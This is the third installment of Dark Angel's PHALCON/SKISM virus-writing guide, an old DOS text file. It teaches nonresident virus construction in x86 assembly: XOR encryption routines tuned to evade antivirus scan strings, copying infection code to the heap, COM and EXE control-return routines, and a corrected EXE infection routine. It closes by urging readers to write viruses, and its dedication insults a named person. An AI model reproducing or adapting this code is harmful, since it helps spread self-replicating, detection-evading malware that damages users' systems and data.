                 //==//  //  //  /||      //      //====  //==//  //|   //
                //  //  //  //  //||     //      //      //  //  //||  //
               //==//  //==//  //=||    //      //      //  //  // || //
              //      //  //  //  ||   //      //      //  //  //  ||//
             //      //  //  //   ||  //====  //====  //==//  //   ||/

                /====   // //     //  /====   /|   /|
               //      // //     //  //      //|  //|
               ===\   // //     //   ===\   //|| //||
                 //  //  \\    //      //  // ||// ||
             ====/  //    \\  //   ====/  //  ||/  ||

             -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
             DISCLAIMER: I hereby claim to have written this
               file.
             -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
             DEDICATION: This is dedicated to Patty Hoffman,
               that fat bitch who doesn't know her own name,
               and to the millions of dumb fools who were so
               scared by Michelangelo that they didn't touch
               their computers for an entire day.
             -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
             GREETS: to all PHALCON/SKISM members especially
               Garbageheap, Hellraiser, and Demogorgon.
             -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

      Dark Angel's Crunchy Virus Writing Guide
      ---- ------- ------- ----- ------- -----
           "It's the right thing to do"

      -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
      INSTALLMENT III:  NONRESIDENT VIRII, PART II
      -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
      Welcome to  the third  installment of  my Virus  Writing  Guide.    In  the
      previous installment,  I covered  the primary  part  of  the  virus  -  the
      replicator.   As promised,  I shall  now cover  the rest of the nonresident
      virus and  present code  which, when  combined with  code from the previous
      installment, will  be sufficient  to allow  anyone to write a simple virus.
      Additionally, I  will present  a few  easy tricks  and tips  which can help
      optimise your code.

      -=-=-=-=-=-=-
      THE CONCEALER
      -=-=-=-=-=-=-
      The concealer  is the  most common  defense  virus writers  use  to  avoid
      detection of  virii.   The most common encryption/decryption routine by far
      is the XOR, since it may be used for both encryption and decryption.

      encrypt_val   dw   ?   ; Should be somewhere in decrypted area

      decrypt:
      encrypt:
           mov dx, word ptr [bp+encrypt_val]
           mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2
           lea si, [bp+part_to_encrypt_start]
           mov di, si

      xor_loop:
           lodsw
           xor ax, dx
           stosw
           loop xor_loop

      The previous  routine uses  a simple XOR routine to encrypt or decrypt code
      in memory.   This  is essentially  the same routine as the one in the first
      installment, except  it encrypts words rather than bytes.  It therefore has
      65,535 mutations  as opposed  to 255 and is also twice as fast.  While this
      routine is  simple to  understand, it  leaves much  to be  desired as it is
      large and therefore is almost begging to be a scan string.  A better method
      follows:

      encrypt_val   dw    ?

      decrypt:
      encrypt:
           mov dx, word ptr [bp+encrypt_val]
           lea bx, [bp+part_to_encrypt_start]
           mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2

      xor_loop:
           xor word ptr [bx], dx
           add bx, 2
           loop xor_loop

      Although this  code is  much shorter,  it is possible to further reduce its
      size.   The best  method is  to insert the values for the encryption value,
      BX, and CX, in at infection-time.

      decrypt:
      encrypt:
           mov bx, 0FFFFh
           mov cx, 0FFFFh

      xor_loop:
           xor word ptr [bx], 0FFFFh
           add bx, 2
           loop xor_loop

      All the  values denoted  by 0FFFFh  may be changed upon infection to values
      appropriate for  the infected  file.  For example, BX should be loaded with
      the offset  of part_to_encrypt_start  relative to the start of the infected
      file when the encryption routine is written to the infected file.

      The primary  advantage of  the code  used above is the minimisation of scan
      code length.   The scan code can only consist of those portions of the code
      which remain  constant.   In this  case,  there  are  only  three  or  four
      consecutive bytes  which remain  constant.   Since  the  entire  encryption
      consist of only about a dozen bytes, the size of the scan code is extremely
      tiny.

      Although the  function of  the encryption  routine is  clear,  perhaps  the
      initial encryption  value and  calculation of  subsequent values  is not as
      lucid.  The initial value for most XOR encryptions should be 0.  You should
      change the  encryption value  during  the  infection  process.    A  random
      encryption value  is desired.   The  simplest method  of obtaining a random
      number is  to consult  to internal  clock.   A random  number may be easily
      obtained with a simple:

              mov     ah, 2Ch                         ; Get me a random number.
              int     21h
              mov     word ptr [bp+encrypt_val], dx   ; Can also use CX

      Some encryption  functions do not facilitate an initial value of 0.  For an
      example, take  a look  at Whale.  It uses the value of the previous word as
      an encryption  value.   In these  cases, simply  use a JMP to skip past the
      decryption routine  when coding  the virus.   However, make sure infections
      JMP to  the right location!  For example, this is how you would code such a
      virus:

              org     100h

      start:
              jmp     past_encryption

      ; Insert your encryption routine here

      past_encryption:

      The encryption  routine is  the ONLY  part of  the virus  which needs to be
      unencrypted.   Through code-moving  techniques, it  is possible to copy the
      infection mechanism  to the  heap (memory location past the end of the file
      and before  the stack).   All  that is required is a few MOVSW instructions
      and one  JMP.   First the  encryption routine  must  be  copied,  then  the
      writing, then  the decryption,  then the  RETurn back  to the program.  For
      example:

           lea si, [bp+encryption_routine]
           lea di, [bp+heap]
           mov cx, encryption_routine_size
           push si
           push cx
           rep movsb

           lea si, [bp+writing_routine]
           mov cx, writing_routine_size
           rep movsb

           pop cx
           pop si
           rep movsb

           mov al, 0C3h                             ; Tack on a near return
           stosb

           call [bp+heap]

      Although most  virii, for  simplicity's sake, use the same routine for both
      encryption  and  decryption,  the  above  code  shows  this  is  completely
      unnecessary.   The only  modification of  the above code for inclusion of a
      separate decryption  routine is to take out the PUSHes and replace the POPs
      with the appropriate LEA si and MOV cx.

      Original encryption  routines, while  interesting, might  not be  the best.
      Stolen encryption  routines are  the best,  especially  those  stolen  from
      encrypted shareware  programs!   Sydex is notorious for using encryption in
      their shareware  programs.   Take a  look at  a  shareware  program's  puny
      encryption and  feel free  to copy  it into your own.  Hopefully, the anti-
      viral developers  will create  a scan string which will detect infection by
      your virus in shareware products simply because the encryption is the same.

      Note that  this is  not a  full treatment  of concealment routines.  A full
      text file could be written on encryption/decryption techniques alone.  This
      is only  the simplest  of all  possible encryption techniques and there are
      far more  concealment techniques  available.  However, for the beginner, it
      should suffice.

      -=-=-=-=-=-=-=
      THE DISPATCHER
      -=-=-=-=-=-=-=
      The dispatcher  is the  portion of the virus which restores control back to
      the infected  program.    The  dispatchers  for  EXE  and  COM  files  are,
      naturally, different.

      In COM  files, you  must restore  the bytes  which were overwritten by your
      virus and  then transfer  control back  to CS:100h,  which is where all COM
      files are initially loaded.

      RestoreCOM:
           mov di, 100h                     ; We are copying to the beginning
           lea si, [bp+savebuffer]          ; We are copying from our buffer
           push di                          ; Save offset for return (100h)
           movsw                            ; Mo efficient than mov cx, 3, movsb
           movsb                            ; Alter to meet your needs
           retn                             ; A JMP will also work

      EXE files  require simply  the restoration of the stack segment/pointer and
      the code segment/instruction pointer.

      ExeReturn:
              mov     ax, es                           ; Start at PSP segment
              add     ax, 10h                          ; Skip the PSP
              add     word ptr cs:[bp+ExeWhereToJump+2], ax
              cli
              add     ax, word ptr cs:[bp+StackSave+2] ; Restore the stack
              mov     ss, ax
              mov     sp, word ptr cs:[bp+StackSave]
              sti
              db      0eah                             ; JMP FAR PTR SEG:OFF
      ExeWhereToJump:
              dd      0
      StackSave:
              dd      0

      ExeWhereToJump2 dd 0
      StackSave2      dd 0

      Upon  infection,   the  initial   CS:IP  and  SS:SP  should  be  stored  in
      ExeWhereToJump2 and StackSave2, respectively.  They should then be moved to
      ExeWhereToJump and  StackSave before  restoration of  the  program.    This
      restoration may be easily accomplished with a series of MOVSW instructions.

      Some like  to clear all the registers prior to the JMP/RET, i.e. they issue
      a bunch  of XOR  instructions.   If you  feel happy  and wish to waste code
      space, you are welcome to do this, but it is unnecessary in most instances.

      -=-=-=-=
      THE BOMB
      -=-=-=-=

        "The horror!  The horror!"
           - Joseph Conrad, The Heart of Darkness

      What goes through the mind of a lowly computer user when a virus activates?
      What terrors  does the unsuspecting victim undergo as the computer suddenly
      plays a  Nazi tune?  How awful it must be to lose thousands of man-hours of
      work in an instant!

      Actually, I  do not  support wanton destruction of data and disks by virii.
      It serves  no purpose  and usually  shows little imagination.  For example,
      the world-famous Michelangelo virus did nothing more than overwrite sectors
      of the  drive with  data taken at random from memory.  How original.  Yawn.
      Of course,  if you  are hell-bent  on destruction, go ahead and destroy all
      you want,  but just  remember that this portion of the virus is usually the
      only part  seen by  "end-users" and distinguishes it from others.  The best
      examples to date include: Ambulance Car, Cascade, Ping Pong, and Zero Hunt.
      Don't forget the PHALCON/SKISM line, especially those by me (I had to throw
      in a plug for the group)!

      As you  can see,  there's no  code to  speak of in this section.  Since all
      bombs should be original, there isn't much point of putting in the code for
      one, now  is there!   Of course, some virii don't contain any bomb to speak
      of.   Generally speaking,  only those  under about  500 bytes  lack  bombs.
      There is no advantage of not having a bomb other than size considerations.

      -=-=-=-=-
      MEA CULPA
      -=-=-=-=-
      I regret  to inform  you that  the  EXE  infector  presented  in  the  last
      installment was  not quite  perfect.   I admit  it.   I made  a mistake  of
      colossal proportions   The  calculation of  the file size and file size mod
      512 was screwed up.  Here is the corrected version:

      ; On entry, DX:AX hold the NEW file size

              push    ax                          ; Save low word of filesize
              mov     cl, 9                       ; 2^9 = 512
              shr     ax, cl                      ; / 512
              ror     dx, cl                      ; / 512 (sort of)
              stc                                 ; Check EXE header description
                                                  ; for explanation of addition
              adc     dx, ax                      ; of 1 to the DIV 512 portion
              pop     ax                          ; Restore low word of filesize
              and     ah, 1                       ; MOD 512

      This results  in the file size / 512 + 1 in DX and the file size modulo 512
      in AX.   The  rest remains  the same.  Test your EXE infection routine with
      Microsoft's LINK.EXE,  since it  won't run  unless  the  EXE  infection  is
      perfect.

      I have  saved you  the trouble  and smacked myself upside the head for this
      dumb error.

      -=-=-=-=-=-=-=-
      TIPS AND TRICKS
      -=-=-=-=-=-=-=-
      So now  all the  parts of  the nonresident  virus have been covered.  Yet I
      find myself  left with several more K to fill.  So, I shall present several
      simple techniques anyone can incorporate into virii to improve efficiency.

      1.   Use the heap
           The heap  is the memory area between the end of code and the bottom of
           the stack.   It can be conveniently treated as a data area by a virus.
           By moving  variables to the heap, the virus need not keep variables in
           its code,  thereby reducing  its length.  Note that since the contents
           heap are  not part  of the  virus, only  temporary variables should be
           kept there,  i.e. the  infection routine  should not count the heap as
           part of  the virus as that would defeat the entire purpose of its use.
           There are two ways of using the heap:

           ; First method

           EndOfVirus:
           Variable1 equ $
           Variable2 equ Variable1 + LengthOfVariable1
           Variable3 equ Variable2 + LengthOfVariable2
           Variable4 equ Variable3 + LengthOfVariable3

           ; Example of first method

           EndOfVirus:
           StartingDirectory = $
           TemporaryDTA      = StartingDirectory + 64
           FileSize          = TemporaryDTA + 42
           Flag              = FileSize + 4

           ; Second method

           EndOfVirus:
           Variable1 db LengthOfVariable1 dup (?)
           Variable2 db LengthOfVariable2 dup (?)
           Variable3 db LengthOfVariable3 dup (?)
           Variable4 db LengthOfVariable4 dup (?)

           ; Example of second method
           EndOfVirus:
           StartingDirectory db 64 dup (?)
           TemporaryDTA      db 42 dup (?)
           FileSize          dd ?
           Flag              db ?

           The two  methods differ  slightly.   By using  the first  method,  you
           create a  file which  will be  the exact  length of  the  virus  (plus
           startup  code).     However,  when  referencing  the  variables,  size
           specifications such as BYTE PTR, WORD PTR, DWORD PTR, etc. must always
           be used  or the  assembler will  become befuddled.   Secondly,  if the
           variables need  to be  rearranged for some reason, the entire chain of
           EQUates will  be destroyed  and must  be rebuilt.   Virii  coded  with
           second method  do not need size specifications, but the resulting file
           will be  larger than  the actual size of the virus.  While this is not
           normally a  problem, depending on the reinfection check, the virus may
           infect the  original file  when run.   This  is not  a big disability,
           especially considering the advantages of this method.

           In any  case, the  use of  the heap  can greatly  lessen the effective
           length of the virus code and thereby make it much more efficient.  The
           only thing  to watch  out for  is infecting  large COM files where the
           heap will  "wrap around"  to offset  0 of the same segment, corrupting
           the PSP.   However,  this problem is easily avoided.  When considering
           whether a  COM file is too large to infect for this reason, simply add
           the temporary variable area size to the virus size for the purposes of
           the check.

      2.   Use procedures
           Procedures are  helpful in  reducing the  size of  the virus, which is
           always a  desired goal.   Only  use procedures if they save space.  To
           determine the amount of bytes saved by the use of a procedure, use the
           following formula:

           Let PS = the procedure size, in bytes
           bytes saved = (PS - 4) * number invocations - PS

           For example, the close file procedure,

           close_file:
             mov ah, 3eh      ; 2 bytes
             int 21h          ; 2 bytes
             ret              ; 1 byte
                              ; PS = 2+2+1 = 5

           is only  viable if  it is used 6 or more times, as (5-4)*6 - 5 = 1.  A
           whopping savings of one (1) byte!  Since no virus closes a file in six
           different places,  the close  file procedure  is clearly  useless  and
           should be avoided.

           Whenever  possible,  design  the  procedures  to  be  as  flexible  as
           possible.   This is the chief reason why Bulgarian coding is so tight.
           Just take  a look  at the source for Creeping Death.  For example, the
           move file pointer procedure:

           go_eof:
             mov al, 2
           move_fp:
             xor dx, dx
           go_somewhere:
             xor cx, cx
             mov ah, 42h
             int 21h
             ret

           The function  was build  with flexibility  in mind.   With  a CALL  to
           go_eof, the  procedure will  move the  file pointer  to the end of the
           file.   A CALL  to move_fp  with AL set to 0, the file pointer will be
           reset.   A CALL  to go_somewhere  with DX and AL set, the file pointer
           may be  moved anywhere  within the  file.   If the  function  is  used
           heavily, the savings could be enormous.

      3.   Use a good assembler and debugger
           The best  assembler I have encountered to date is Turbo Assembler.  It
           generates tight  code extremely  quickly.    Use  the  /m2  option  to
           eliminate all  placeholder NOPs  from the  code.   The advantages  are
           obvious - faster development and smaller code.

           The best  debugger is  also made  by Borland,  the king of development
           tools.   Turbo Debugger  has so many features that you might just want
           to buy  it so  you can  read the  manual!  It can bypass many debugger
           traps with ease and is ideal for testing.  Additionally, this debugger
           has 286  and 386  specific protected  mode versions, each of which are
           even more powerful than their real mode counterparts.

      4.   Don't use MOV instead of LEA
           When writing your first virus, you may often forget to use LEA instead
           of MOV  when loading  offsets.  This is a serious mistake and is often
           made by  beginning virus  coders.   The  harmful  effects  of  such  a
           grevious error  are immediately obvious.  If the virus is not working,
           check for  this bug.   It's  almost as hard to catch as a NULL pointer
           error in C.

      5.   Read the latest issues of 40Hex
           40Hex, PHALCON/SKISM's  official journal of virus techniques and news,
           is a publication not to be missed by any self-respecting virus writer.
           Each issue  contains techniques  and source code, designed to help all
           virus writers,  be they  beginners or  experts.  Virus-related news is
           also published.  Get it, read it, love it, eat it!

      -=-=-=
      SO NOW
      -=-=-=
      you have  all the  code and information sufficient to write a viable virus,
      as well  as a  wealth of  techniques to  use.   So stop  reading and  start
      writing!   The only  way to  get better  is through practise.  After two or
      three tries, you should be well on your way to writing good virii.